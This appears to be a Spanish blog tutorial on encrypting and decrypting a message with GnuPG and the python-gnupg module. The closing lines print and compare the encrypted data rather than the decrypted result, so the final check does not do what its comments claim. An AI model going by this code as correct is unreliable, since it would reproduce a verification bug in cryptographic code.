# Generamos nuestras llaves. En este paso nos mostrara información que tenemos que rellenar, como correo electrónico (No es necesario que coloques el de gmail, hotmail, etc; puede ser uno inventado pero procura que sea único o poco conocido), nombre y apellido, comentarios, etc.

gpg --gen-key
...

# Ejecutamos python y empezamos a usarlo

from gnupg import GPG # Importamos el modulo
gpg = GPG() # Como esto es manejado por objetos creamos una variable llamada gpg y empezamos a escribir y usar sus atributos, metodos, etc
dato = 'Hola!, soy un mensaje que sera cifrado :D ...' # Creamos una variable que contendrá el dato a cifrar
encrypted = gpg.encrypt(dato, "prueba@ejemplo.org") # Creamos una variable llamada encrypted que cifrara la variable dato usando como destinatario prueba@ejemplo.org. Tengo que aclarar que es una dirección de prueba a la que se la quieren enviar
print(encrypted.data) # Usamos el atributo de la instancia para poder leer el dato cifrado. verán que les mostrara un mensaje ilegible
decrypted = gpg.decrypt(encrypted.data, "1234567890abc") # Ahora supongamos que somos el receptor del mensaje. Colocaremos como primer argumento el dato cifrado que nos enviaron por correo y segundo parámetro la clave de descifrado
print(encrypted.data) # Imprimimos el dato
print(encrypted.data == dato) # Comparamos si el dato decifrado es igual a la variable dato

Imágenes:



Espero les guste, mientras se familiarizan con la criptografia asimétrica, háganme comentarios si desean una segunda parte donde comenzaremos a crear nuestro cliente de correo electrónico con cifrado asimétrico y veremos a fondo lo que nos trae GPG usando solamente python (Como generar claves desde python, firmar datos, entre otros).

- DtxdF
Seguir Leyendo
Powered by Blogger .